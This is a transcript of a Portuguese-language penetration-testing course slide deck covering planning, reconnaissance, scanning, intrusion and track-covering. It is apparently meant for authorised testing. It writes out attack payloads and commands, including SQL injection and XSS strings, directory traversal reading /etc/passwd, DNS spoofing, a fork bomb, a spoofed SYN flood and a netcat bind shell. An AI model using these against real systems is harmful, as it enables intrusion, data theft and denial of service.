teste de invasão
Click here to load reader
-
Upload
claudio-francisco-joaquim-joaquim -
Category
Education
-
view
237 -
download
9
Transcript of teste de invasão
Rafael Soares Ferreira Clavis Segurança da Informação [email protected]
Teste de Invasão em Redes e Sistemas
$ whoami
• Grupo Clavis • Sócio Diretor Técnico • Detecção e resposta a incidentes de segurança • Testes de invasão em redes, sistemas e
aplicações.
Contatos
[email protected] rafaelsoaresferreira @rafaelsferreira www.facebook.com/rafaelsoaresferreira
Disclaimer
O Curso de Teste de Invasão em Redes e Sistemas da Academia Clavis tem o objetivo único de capacitar profissionais para as práticas de testes e análises de segurança de redes, sistemas e aplicações por meio de ataques e invasões, real izados com consentimento do proprietário ou possuidor da rede, sistema ou aplicação.
Agenda
• Introdução
• Planejamento e preparação
• Obtenção de Informações
• Sondagem e mapeamento
• Identificação de Vulnerabilidades
• Invasão
• Finalizando
l Microsoft Windows Básico
l Linux Básico
l Redes TCP/IP Básico
Pré-Requisitos
l Backdoor l Cavalo de Troia
l Firewall
l DMZ
l IDS/IPS
l Botnet
l DoS/DDoS/DRDoS
Terminologia e Definições
l Scanner l MITM
l Sniffer
l Spoofing
l Hash
l Criptografia Simétrica
l Criptografia Assimétrica
Terminologia e Definições
l Distribuição Linux baseada em Debian l Voltada para Testes de Invasão
l Bom reconhecimento de hardware
l Mais de 300 ferramentas atualizadas
l http://www.kali.org/
Kali Linux
Pentest
Teste de Conformidade
Polí2ca de Segurança
Teste de Invasão
Avaliação de Vulnerabilidades
l Atividade técnica controlada
l Teste de segurança
l Simulação de ataques reais
l Tentativa de acesso não autorizado
Teste de Invasão
• Entender reais riscos que vulnerabilidades específicas apresentam ao seu negócio • Testar de fato a segurança de sua rede ou sistema de informação • Determinar se investimentos atuais estão realmente detectando e prevenindo ataques • É mais barato ser proativo!
Justificativa & Motivação
• Milestone para projetos entrarem ou não em produção (“go live”) • Manter-se em conformidade com normas internacionais (ISO 27001, ISO 27002, HIPAA, PCI-DSS, GLBA, FDIC, FISMA,SOX, ...) • Lei de Wilson
Justificativa & Motivação
Um sistema é tão seguro quanto sua parte mais fraca.
Justificativa
PenTesting
>> Arte Desmistificada
Simulação X Ataque Real
Metodologia Documentação
Preocupação com o Cliente
Limitações
Autorização documentada
Simulação X Ataque Real
l Ferramental: è Gosto/Estilo
è Volátil
l Técnica è Necessidade
è Sólida/Robusta
Técnicas regem o ferramental!
Técnica e Ferramental
Etapas
(1) Obtenção de Informações (2) Varreduras
(3) Invasão
(4) Mantendo Acesso
(5) Cobrindo Rastros
Permissão:
l Por escrito
l Assinada pelo responsável
Antes de qualquer teste...
Permissão:
l Acordo legal
l Define os tipos de atividades
l Protege o(a) consultor(a) contra perdas e danos que possam resultar do teste
Antes de qualquer teste...
l Documentação viva:
l ...ou seu logger de terminal favorito J
l Atenção para programas gráficos!
è Screenshots
è ScreenCasts
# script -a -f pentest.log
Script started, file is pentest.log
#
Antes de digitar comandos...
Planejamento &
Preparação
• Detalhes da Infraestrutura • Acordo de confidencialidade (NDA)
• Equipamento e recursos necessários
• Relatório de linha do tempo
• Acesso a testes anteriores
• Inspeção física
Planejamento & Preparação
Escopo:
l Objetivo/Propósito
l Alvos
l Profundidade
l Exclusões
Planejamento & Preparação
Objetivo/Propósito
l O que o cliente pretende obter com o teste de invasão?
l Será que essa é a melhor escolha?
l Será que estamos no momento mais adequado?
Planejamento & Preparação
Alvos
l O que definirá o teste como bem-sucedido?
l Capture a bandeira
l Tudo que puder conquistar
l Violação de política
Planejamento & Preparação
Profundidade
l Até onde devemos ir?
l Quais as condições de parada?
l “How much is too much?”
Planejamento & Preparação
Exclusões
l Sistemas/Estruturas que não podem cair ou serem modificadas
l Parceiros/Acordos de Serviço
l Exclusão completa x parcial
Planejamento & Preparação
Perfil do atacante :
l Tipos de testes
l Caixa preta, branca ou cinza?
Planejamento & Preparação
Como classificar atacantes?
A B
C
Planejamento & Preparação
Primeira Camada (A)
l Programadores experientes
l Não buscam publicidade
l Dedicam boa parte de seu tempo ao estudo e atualização
Planejamento & Preparação
Segunda Camada (B)
l Conhecimento equivalente ao de bons administradores de sistemas
l Mais abrangência, menos profundidade
l Contribuem regularmente em listas
l Brincam com novas ferramentas
Planejamento & Preparação
Terceira Camada (C)
l Dependem de scripts e “pacotes” pré-prontos
l Experimentação irresponsável
l Conhecimento incompleto
l Buscam notoriedade
Planejamento & Preparação
Marco Zero: Onde você está?
l Ataques externos
l Ataques internos
Planejamento & Preparação
Qual perfil apresenta maior risco para o Cliente?
l Escopo
l Conhecimento
l Determinação
Planejamento & Preparação
I - O que você sabe sobre o ambiente?
l Blind (caixa preta)
l Open (caixa branca)
l Hybrid (híbrido)
Planejamento & Preparação
II - O que o ambiente sabe sobre você?
l Teste anunciado
l Teste não-anunciado
Quem está sendo testado?
Planejamento & Preparação
Conhecimento do alvo sobre
o ataque
Conhecimento do atacante sobre o alvo
Planejamento & Preparação
Tratamento de questões especiais:
l Sistema alvo caiu
l Dados sensíveis encontrados
l Quem contatar?
Planejamento & Preparação
Sistema alvo caiu
l Como detectar?
l Como consertar?
Planejamento & Preparação
Dados sensíveis encontrados
l Qual a definição de dados sensíveis?
l Privacidade
Planejamento & Preparação
Pontos de Contato
è Nome è Cargo è Telefones è Outros contatos (IM, email, etc) è Chave Pública è Horários
Planejamento & Preparação
Limitações de Tempo:
l Restrições de Horário
l Duração do teste
Planejamento & Preparação
Restrições de Horário
l Backups e outras tarefas periódicas
l Equipe de plantão (para questões especiais)
l Janelas autorizadas
Planejamento & Preparação
Duração do Teste
l Datas fixas x Janelas de tempo
l Exclusões
Planejamento & Preparação
Vetores de Ataque
l Classificação de vulnerabilidades (estimativa de impacto provável)
l Identificação de circuitos de ataques e cenários para exploração
l Caminho de menor resistência
l Árvores de ataques
Planejamento & Preparação
Árvores de Ataque
l Ataques intrusivos x não intrusivos
l Orçamento, habilidade e acesso do atacante
l Probabilidade de sucesso de cada ataque
l Probabilidade de ocorrência de cada ataque
l Como organizar sua infraestrutura e gerenciar seu orçamento em segurança
Planejamento & Preparação
Planejamento & Preparação
Documento final l Sumário Executivo
l Escopo do Projeto
(e partes fora do escopo)
l Ferramentas (e exploits) utilizados
l Data e hora dos testes nos sistemas
Estrutura do Relatório
Documento final
l TODA saída dos testes realizados
l Lista de todas as vulnerabilidades identificadas, incluindo recomendações para resolver as questões encontradas
l Prioridades e soluções recomendadas
Estrutura do Relatório
Obtenção de
Informações
l Engenharia Social l Trashing (Dumpster Diving)
l Whois
l Entradas DNS
l Buscas na Internet
l Cópia de Website
l FOCO é muito importante nessa fase
Obtenção de Informações
l O modo mais simples de se obter uma informação é pedindo por ela!
l “Peopleware”
l ES de tecnologia è Cavalos de Troia è Phishing
l ES de contato direto
è Pessoal è Via telefone/videoconferência
Engenharia Social
Obtenção de Informações
l Conformidade è “10000 lemmings não podem estar errados”
l Lógica
è “Quanto mais queijo... menos queijo!”
l Necessidade è “Pode me ajudar?”
Engenharia Social – Sete tipos de persuasão
Obtenção de Informações
l Autoridade è “sabe com quem está falando?”
l Reciprocidade
è “quem quer rir...tem que fazer rir!”
l Similaridade è “Espelho, espelho meu”
l Informacional
è “Como está o Wolfie? Ele está latindo”
Obtenção de Informações
Engenharia Social – Sete tipos de persuasão
Engenharia Social
Confiança não é algo que se dá, é algo que se conquista.
l Paciência
l Inspirar confiança (pertencer ao lugar)
l Engenharia Social Reversa
Obtenção de Informações
Engenharia Social
l Atenção com a legislação!
l Carregue sempre uma cópia da autorização
Obtenção de Informações
Trashing
l Lixo corporativo geralmente expõe muita informação
l Classificação da informação e controles l Armazenamento l Compartilhamento l Descarte
Obtenção de Informações
Whois (RFC 3912)
Obtenção de Informações
Whois
l Nomes
l Endereços
l Contatos
l Servidores DNS
$ whois dominio $ whois IP
Obtenção de Informações
Podemos confiar no Whois?
l Registros privados
l Veracidade das informações
l Descentralização de servidores Whois
è Dados genéricos x especializados
è Propagação de atualizações
Obtenção de Informações
l Contatos técnicos e administrativos
l Dados para cobrança
l Servidores de nome autoritativos
Obtenção de Informações
Whois – Informações Interessantes
DNS Como funciona o DNS? (RFCs 1034/1035) Buscas recursivas entre servidores regionais e top-level domains (ccTLD/gTLD)
Obtenção de Informações
Entradas DNS
l IP (A/AAAA)
l Nome Canônico (CNAME)
l Correio Eletrônico (MX)
l Start of Authority (SOA)
l Name Servers (NS)
l Texto arbitrário (TXT)
l Outras (HINFO, SRV, PTR, ...)
Obtenção de Informações
Colhendo Entradas DNS Estrutura $ dig @servidor_dns maquina (-x IP) tipo
Rastreando caminho $ dig +trace www.site.com.br
Transferência de Zona $ dig @servidor_dns dominio axfr
Obtenção de Informações
Colhendo Entradas DNS
Transferência de Zona no com NSLOOKUP
C:\> nslookup
> server [servidor_DNS]
> set type=any
> ls -d [dominio]
Obtenção de Informações
Buscas na Internet (google hacking)
l Crawlers não sabem o que deve ser privado (robots.txt é apenas uma recomendação)
l Cache pode continuar expondo informação
Obtenção de Informações
Buscas na Internet (google hacking) l Identificação de servidores
l Servidores negligenciados
l Listagem de diretórios
l Senhas
l Bancos de dados
l Relatórios de Segurança
l Informações sensíveis
Obtenção de Informações
Buscas na Internet (google hacking)
l Curingas:
inclusão/exclusão (+ -) asterisco (*) sinônimos (~)
l Restrições:
site: filetype: (ou ext:) link:
Obtenção de Informações
Buscas na Internet (google hacking)
l Operadores especiais (com equivalentes “all”): intitle: inurl: intext: inanchor: cache:
Obtenção de Informações
Buscas na Internet (google hacking)
l Listas de discussão
l Arquivos compartilhados
l Perfis em redes sociais
l Blogs e/ou páginas pessoais de colaboradores
Obtenção de Informações
Buscas na Internet (google hacking)
l Como retirar suas informações do google? l Controlando os “crawlers”
l noindex meta tag l robots.txt
l Solicitando ao Google
l Google Webmaster tools
Obtenção de Informações
Buscas na Internet (google hacking)
l SiteDigger
l Explora o cache do Google atrás de: l Vulnerabilidades l Mensagens de erro l Configurações inseguras l Informações sensíveis l Etc
Obtenção de Informações
Buscas na Internet (google hacking)
l Google Hacking Database - GHDB
l Buscas que retornam resultados interessantes
l Organizadas por categorias
Obtenção de Informações
Cópia de Website
l Análise offline
l Experimentação passiva
l Mirroring para phishing
Obtenção de Informações
Cópia de Website
l Funcionalidade spider de alguns proxies
l Ferramenta HTTrack / WEBHTTrack
Obtenção de Informações
Cópia de Website - HTTrack httrack www.site.com.br --depth=N --robots=0 --keep-alive --tolerant --user-agent “Googlebot/2.1”
Outros UAs interessantes: Opera 9.21: “Opera/9.21 (Windows NT 5.1; U; en” Internet Explorer 7.0: “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” Firefox 2.0.11: “Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.11)
Gecko/20071127 Firefox/2.0.0.11
Obtenção de Informações
Obtenção de Informações
Cópia de Website - WEBHTTrack
Robô local X Robô de Internet
l buscas são restritas a links e listagens de diretório
è um robô local é mais confiável.
è um robô de Internet pode ter mais links.
Obtenção de Informações
Varreduras
l Wardriving
l Mapeamento de Redes
l Port Scan
l Detecção passiva de SO
Varreduras
l Mapeando Firewalls
l Vulnerabilidades
l Web
l NULL Sessions
Wardriving
Varreduras
Sniffing e quebra de redes sem fio (Wireless) l Kismet
l Suite “aircrack-ng”: è airodump
è aireplay
è aircrack
Mapeamento de Redes
l Entender a topologia da rede
l Mapear dispositivos
l Redes internas, Gateways, DMZs ...
Varreduras
Busca por hosts vivos
• Varreduras por portas e vulnerabilidades podem demorar muito!
• Se o alcance da varredura for muito grande, limite-a a apenas hosts vivos
Varreduras
Detecção de Serviços
l Varreduras Algumas portas são reservadas para determinados serviços
$ cat /etc/services | grep PORTA
l Mas na prática podemos usar qualquer uma!
Varreduras
Detecção de Sistemas Operacionais
l RFC's não implementados na íntegra
l Padrões de comportamento em intercomunicação
Varreduras
Port Scan
l Ping Sweeping
l TCP 3-Way Handshake e outras “flags”
l Portas oficiais para determinados serviços
Varreduras
Port Scan - Nmap
l Diversos tipos de varreduras
l Possui interface gráfica (Zenmap)
l Disponível para Unix e Windows
Varreduras
Port Scan - Nmap
Varreduras
# nmap -sS -sV -f -PN -O -v -v -g53 -T1 172.16.1.254
Varredura TCP SYN (Half-Open) Envia pacote SYN, como se estivesse tentando abrir uma conexão TCP. Se o alvo retornar SYN|ACK, marca a porta como aberta e envia RST. Senão (alvo retornou RST), porta é marcada como fechada.
Alternativas: -sT (utiliza a chamada de sistema “connect()”. Fácil detecção) -sP (envia pedidos de ICMP echo (ping) para as portas)
Varreduras subreptícias (RFC 793):
-sF (envia pacotes FIN simples, e espera RST de portas fechadas) -sX (idem, mas marca FIN, URG e PUSH (Xmas Tree)) -sN (idem, mas não ativa nenhuma flag (Null scan))
Port Scan - Nmap -sU determina portas UDPs abertas no alvo -sI [host[:porta]] Idlescan, faz varredura “cega”, onde nenhum pacote vem da sua máquina. -b [ftp] usa servidor ftp como “proxy” (RFC 959) -oN [arq] gera registro (log) da varredura --resume [arq] permite resumir varredura, a partir de arquivo de log gerado --exclude [host,host,...] não varre hosts especificados -p [portas] Determina quais portas olhar (20-30,139,60000-) -D [host, ME, ...] Finge que outros hosts também estão fazendo uma varredura
Varreduras
Varreduras
Port Scan - xprobe2
l Fingerprinting de Sistema Operacional
l Fuzzy Signature Matching
l Palpites probabilísticos
l Estrutura modular (-L para lista de módulos)
Varreduras
Port Scan - netstat
l Verificação local l Windows:
netstat -na netstat -nao netstat -nab
l Unix: netstat -tupan
Varredura TCP connect()
SYN
SYN/ACK
ACK
Varreduras
Varredura TCP SYN (half-open)
SYN
SYN/ACK
SYN
RST
Varreduras
Varredura TCP Null
*cri* *cri*
*cri* *cri*
RST
Varreduras
Varredura TCP FIN
FIN
FIN
RST
Varreduras
Varredura TCP Xmas (Árvore de Natal)
FIN/PSH/URG
FIN/PSH/URG
RST
Varreduras
Varredura TCP ACK
ACK
ACK
RST
Varreduras
Varredura de Janela TCP
ACK
ACK
RST
Varreduras
Varredura TCP Maimon
FIN/ACK
FIN/ACK
RST
RST ?
Varreduras
Varredura TCP Ociosa (Idlescan)
Passo 1: encontre um bode expiatório :-)
SYN/ACK
RST (id+1)
Varreduras
Varredura TCP Ociosa (Idlescan)
SYN (IP falso)
RST
SYN/ACK
SYN/ACK
RST (id+2)
Varreduras
SYN (IP falso) RST
SYN/ACK
RST (id+1)
Varreduras
Varredura TCP Ociosa (Idlescan)
Varredura FTP Bounce
Envie o arquivo para ALVO, porta X
Oi ALVO! segue arquivo
Varreduras
Varredura UDP
*cri* *cri*
*cri* *cri*
ICMP Port Unreachable
Varreduras
Detecção Passiva de SO
Varreduras
p0f
l Determina SO e outras configurações
l Analisa estrutura de pacotes TCP/IP
l Fingerprinting completamente passivo (não gera tráfego malicioso)
Detecção Passiva de SO
Varreduras
p0f Completamente passivo?
l Alvo precisa conectar-se (ou ser conectado) em sua rede, de forma espontânea ou induzida:
è devolvendo email inválido
è fazendo lookups
è aceitando (ou recusando!) web, ftp, ssh, etc
è imagem/html externo em email
l Identificação de Serviços Vulneráveis
l Senhas padrão
l Correlacionamento de vulnerabilidades: identificando falsos positivos/negativos
l Enumeração de vulnerabilidades encontradas
Varreduras
Vulnerabilidades
l Catálogo de dispositivos autorizados/não autorizados l Catálogo de softwares autorizados/não autorizados l Configuração segura para hardware e software l Análise de vulnerabilidades e correção das mesmas l Proteção contra malware l Segurança de aplicações l Controle de dispositivos sem fio l Capacidade de recuperação de dados l Capacidade para avaliação de segurança e treinamento apropriado l Configurações seguras de dispositivos de rede
Varreduras
Vulnerabilidades - SANS/FBI Top 20
l Limitação e controle de portas, protocolos e serviços l Uso controlado de privilégios administrativos l Proteção de perímetro l Proteção, monitoramento e análise de logs de segurança l Controle de acesso l Monitoramento e controle de conta l Prevenção de perda de dados l Capacidade de resposta a incidentes l Engenharia de Segurança de Rede l Testes de invasão e exercícios de resposta a incidentes
Varreduras
Vulnerabilidades - SANS/FBI Top 20
l Varredor de vulnerabilidades #1
l Grande variedade de plugins
l Atualizações constantes
l Desde a versão 3 não é mais GPL
Varreduras
Vulnerabilidades - Nessus
# nessus-fetch --register CÓDIGO_DE_ATIVAÇÃO
# nessus-mkcert
# nessus-adduser
Regras (Política de uso)
l accept (ou deny) IP/MÁSCARA (ou client_ip) l default (accept ou deny)
Varreduras
Vulnerabilidades – Nessus (Servidor)
# nessus-fetch --plugins
# tar zxf all-2.0.tar.gz DIRETORIO_DE_PLUGINS
# nessus-update-plugins
# nessus-fetch --check
# nessusd start
Varreduras
Vulnerabilidades – Nessus (Servidor)
l SARA
l OpenVAS
l MBSA
l Core Impact
l GFI LANguard
l QualysGuard
l SAINT
l Retina
Varreduras
Vulnerabilidades
l Localização de arquivos/diretórios/CGI l Identificação de servidores l Identificação de vulnerabilidades l Recursos contra IDSs l SSL e Proxy
ü Nikto ü Wikto ü Burp Suite ü HP WebInspect ü Acunetix WVS
Varreduras
Web
# nikto.pl -h ALVO -p PORTA
-useproxy -update -Cgidirs “/dir1/ /dir2/ /dir3/ ...” -evasion TIPO -Format (csv,html,txt,xml) -output ARQUIVO -mutate TIPO -Tuning TIPO
Opções extras (“-Help” para lista detalhada)
Varreduras
Web - Nikto
NULL Sessions
l Usuário SYSTEM com privilégios ilimitados
l Não é capaz de fazer “log on”
l Acessa informações em outras máquinas através de NULL SESSIONS C:\> net use \\[alvo]\ipc$ “” /u:”” C:\> net view \\[alvo]
Varreduras
NULL Sessions - Winfingerprint • Possui suporte a SNMP
l Varredura de portas através de TCP e UDP l Não faz ataques por força bruta
Varreduras
Invasão
Invasão
l Sniffing
l Sequestro de Sessão
l DNS Cache Poisoning
l Buffer Overflow
l Quebra de Senha
l Injeção de SQL l Cross-site Script (XSS)
l Directory Traversal
l Proxies
l Negação de Serviço
Sniffing
l Quem está falando com quem
l Modo Promíscuo l Hubs X Switchs
Invasão
Invasão
Sniffing – Tcpdump
l Ferramenta tradicional de captura de tráfego
l Aceita filtros por expressões
l Biblioteca padrão para captura de tráfego: libpcap
Invasão
Sniffing - Wireshark
l Mais completo dos analisadores de tráfego
l Possibilita remontar uma sessão
l Estrutura em árvore
l Possibilidade de criação de filtros
Sniffing - Dsniff
l Conjunto de ferramentas para sniffing dsniff arpspoof
macof
tcpkill
tcpnice
msgsnarf
filesnarf
mailsnarf urlsnarf
webspy
dnsspoof
webmitm
sshmitm
Invasão
Sequestro de Sessão
l Basicamente: sniffing + spoofing
l Somente para protocolos orientados a conexão l Comprometimento de “end-points”
Invasão
Sequestro de Sessão - Ettercap
l Sniffing passivo ou ativo
l Interface Gráfica l Coleta senhas em protocolos como:
Telnet, FTP, POP, HTTP, SMB, dentre outros.
Invasão
Invasão
ettercap [OPCOES] ALVO1 ALVO2 (ALVO == MAC/IPs/Portas) -T (texto) [-q] ou -C (curses) ou -G (gtk) -P nome_do_plugin (“-P list” exibe todos) -R (sniffing reverso em relação aos alvos) --mitm (ou -M)
arp:[remote|oneway] icmp:MAC/IP (do gateway real) dhcp:pool_de_IPs/netmask/dns port:[remote|tree]
Ettercap
Invasão
Sequestro de DNS
l Falsificação “perfeita” de sites
l Ataques de Negação de Serviços (DoS)
l Ataques MITM
l Pode ser dividido em: è Ataques a servidores de DNS è Ataques a roteadores è Ataques a hosts
l Utilizado pelo “Projeto Escudo Dourado”
Invasão
Sequestro de DNS
l Ataques a servidores de DNS
l Open-Resolvers
l Reverse Domain Hijacking (explorando ambientes de “tolerância zero”)
l DNS Cache Poisoning è adicionando informações “extras”
às requisições para o DNS comprometido
è respondendo antes do servidor real!
Invasão
Sequestro de DNS
l Ataques a roteadores
l A maioria dos roteadores modernos passam informações de DNS dinamicamente para clientes que entram na rede.
l Acesso às configurações de roteadores pode propagar servidores DNS maliciosos por toda a rede
l Modificações no firmware do roteador podem dificultar ainda mais a detecção
Invasão
Sequestro de DNS
l Ataques a arquivos hosts
l *NIX: /etc/
l Win NT/2K/2K3/XP/Vista: determinado por “\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip\Parameters\DataBasePath”;
normalmente em %SystemRoot%\System32\drivers\etc\
l Win 9x: %WinDir%\
l Mac OS X: /private/etc
l Symbian: C:\system\data\ (1a e 2a edições) C:\private\10000882\ (3a edição)
Invasão
Sequestro de DNS # echo “127.0.0.1 *.alvo.com.br” > hosts.txt # dnsspoof -i eth0 -f hosts.txt # ettercap -Tq -M arp // // -P dns_spoof (arquivo “/usr/share/ettercap/etter.dns”)
Buffer Overflow
l Não verificação de limites extremos
l Essência dos exploits de binários
l Pré-datam a própria linguagem C (1972)
l Stack, Heap, Integer, ...
Invasão
Invasão
Formas de abusar de sistemas exploram:
l Vulnerabilidades em software
l Configurações fracas
l Problemas intrínsecos à protocolos
l Senhas fracas
l Pessoas & Processos
Invasão
l Encontrar código/ferramenta/atividade para PoC
l Desenvolver, caso necessário (e definido no escopo):
- Metasploit - SecurityForest Exploitation Framework - Attack Tool Kit (ATK)
- CANVAS - Core Impact
- SAINTexploit
Invasão
Metasploit Framework
l Plataforma para desenvolvimento de exploits
l Flexível e portátil
l Fácil de usar
l Extremamente poderosa
l v2 e v3
Invasão
Metasploit Framework: Console # msfconsole
=[ ���metasploit v4.8.0-2013112001 [core:4.8 api:1.0] + -- --=[��� 1220 exploits - 667 auxiliary - 191 post + -- --=[��� 324 payloads - 30 encoders - 8 nops
msf>
_ _/ \ /\ __ _ __ /_/ __| |\ / | _____ \ \ ___ _____ | | / \ _ \ \| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -||_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
Invasão
Metasploit Framework: Console msf> search TIPO EXPRESSAO msf> info MODULO msf> use MODULO msf exploit ()> show options RHOST, RPORT, LHOST, LPORT, TARGET, ... msf exploit ()> set VAR VALOR msf exploit ()> exploit
Invasão
Metasploit Framework: GUI
# ./msfgui
Invasão
Metasploit Framework: Interface Web
# ./msfweb
Invasão
Metasploit Framework
l Testar em ambiente controlado
l Usar contra o(s) alvo(s)
l Confirmar/refutar vulnerabilidade em questão
l Documentar resultados
Invasão
Quebra online de senhas
l Roubo de senhas
è sniffing è MITM è keyloggers è engenharia social
l Força bruta remota (THC-Hydra)
è senhas padrão è senhas comuns
Invasão
Quebra offline de senhas
l Roubo de senhas è %SystemRoot%\System32\config\SAM è /etc/shadow è escutando (redes, pessoas)
l samdump/pwdump6/fgdump
l John The Ripper
l Cain and Abel
l RainbowCrack
l Exploração de Bancos de Dados SQL sem prévia validação (correta) do pedido (query)
l Exposição, manipulação e remoção de dados sensíveis
l Execução de comandos no sistema
l Relativamente simples de ser explorado (analisando mensagens de erro do BD)
Injeção de SQL
Invasão
SELECT id FROM usuarios WHERE nome = '$nome' AND senha = '$senha' ;
<form method="post" action="http://SITE/login.php"> <input name="nome" type="text" id="nome"> <input name="senha" type="password" id="senha"> </form>
Client-Side:
Server-Side:
Injeção de SQL
Invasão
' OR 'a'='a
SELECT id FROM usuarios WHERE nome = '$nome' AND senha = '' OR 'a'='a' ;
Client-Side: O Exploit!
Server-Side:
Injeção de SQL
Invasão
http://xkcd.com/327/
Injeção de SQL
Invasão
l Alguns sites não enviam mensagens de erro do Banco de Dados, dificultando ataques
l Ataque às cegas explora resultados de sucesso/falha com injeções AND para mapear o BD
ü Absinthe
http://SITE/noticias.jsp?id=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 110
Injeção de SQL: BLIND
Invasão
l Tipo 0: Execução de código (DOM). Requer engenharia social
l Tipo 1: Não persistente (Roubo de informação). Requer engenharia social.
l Tipo 2: Persistente (Injeção de código).
Não requer engenharia social.
http://SITE/search.php?q=%3Cscript%3Ealert%28%91Aloha%20%92%29%3C%2Fscript%3E
Cross-site Scripting (XSS)
Invasão
l Mapeamento da árvore do sistema de arquivos
l Acesso a arquivos específicos
l Bug do Unicode em versões antigas do IIS
GET http://ALVO/scripts/..%255c../winnt /system32/cmd.exe?/c+dir+c:\
Directory Traversal
Invasão
<?php $template = 'blue.php'; if ( is_set( $_COOKIE['TEMPLATE'] ) ) $template = $_COOKIE['TEMPLATE']; include ( "/home/users/phpguru/templates/" . $template ); ?>
l Request criada para explorar o código:
GET /vulnerable.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../../../etc/passwd
l Resposta do servidor:
HTTP/1.0 200 OK Content-Type: text/html Server: Apache
root:fi3sED95ibqR6:0:1::/:/bin/bash daemon:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100::/home/phpguru/:/bin/csh
Directory Traversal
Invasão
l Interceptação de mensagens HTTP e HTTPS
l Manipulação de cookies e formulários
l Scanning, e muito mais
ü PAROS ü OWASP WebScarab ü Burp Suite
Invasão
Proxies
l Desempenho extremamente baixo
l Indisponibilidade completa
l Podem ser parte de ataque elaborado,
geralmente envolvendo spoofing
Invasão
Negação de Serviço
l Consumo de recursos computacionais como
banda, espaço em disco ou tempo de CPU
l Quebra de arquivos de configuração
l Quebra de informação de estados
l Quebra de componentes físicos
l Obstrução de canais de comunicação
Invasão
Negação de Serviço
l Exploram erros em aplicações...
l ...ou entopem algum recurso
(CPU, Memória, disco, etc)
$ dd if=/dev/zero of=/var/spool/mail/MEU_USUARIO $ perl -e 'while(1) { fork(); open $fh, “</proc/meminfo”; open $hf, “>/tmp/bla”; }'
Invasão
Negação de Serviço
l Ataques Distribuídos (DDoS)
l Ataques Distribuídos Refletidos (DRDoS)
l Ataques de Amplificação
l Ataques Permanentes (PDoS)
Invasão
Negação de Serviço
l Smurf Attack
è envia pedidos ICMP para endereços de broadcast com IP da vítima como origem
l Ping flood è envia mais pedidos ICMP echo do que a vítima pode tratar
l SYN flood è abre mais conexões TCP do que a vítima pode traar
l Teardrop/Nuke/Ping of Death
Invasão
Negação de Serviço
# tcpnice -i eth0 EXPRESSAO_FILTRO # tcpkill -i eth0 -[1..9] EXPRESSAO_FILTRO # hping3 --flood --interface eth0 --spoof IP_ORIGEM (ou --rand_source) -S -p PORTA_ALVO IP_ALVO
Invasão
Negação de Serviço
Mantendo Acesso
l Artefatos Maliciosos l Backdoors
l Cavalos de Troia
l Wrappers / Packers
l Rootkits
Mantendo Acesso
Mantendo Acesso
$ nc -u -l -p 53 -e /bin/sh (ou cmd.exe)
# nc -u IP_ALVO 53
Cobrindo Rastros
l Escondendo Arquivos l Editando Logs
l Escondendo Tráfego
l Esteganografia
Cobrindo Rastros
Cobrindo Rastros
Escondendo Arquivos
l /usr/bin/ [tab][tab] Display all 1986 possibilities? (y or n)
l Processos comuns (ps!)
l /dev/, /tmp
Segurança Física
l Pontos de rede l Informações expostas
l Conversas de funcionários
l Janelas, fechaduras e portas de acesso
l Pontos de entrada
l Guardas/Recepcionistas
l Lixo
Segurança Física
RFIDs, Biometria
Muito Obrigado!
Rafael Soares Ferreira Clavis Segurança da Informação
@rafaelsferreira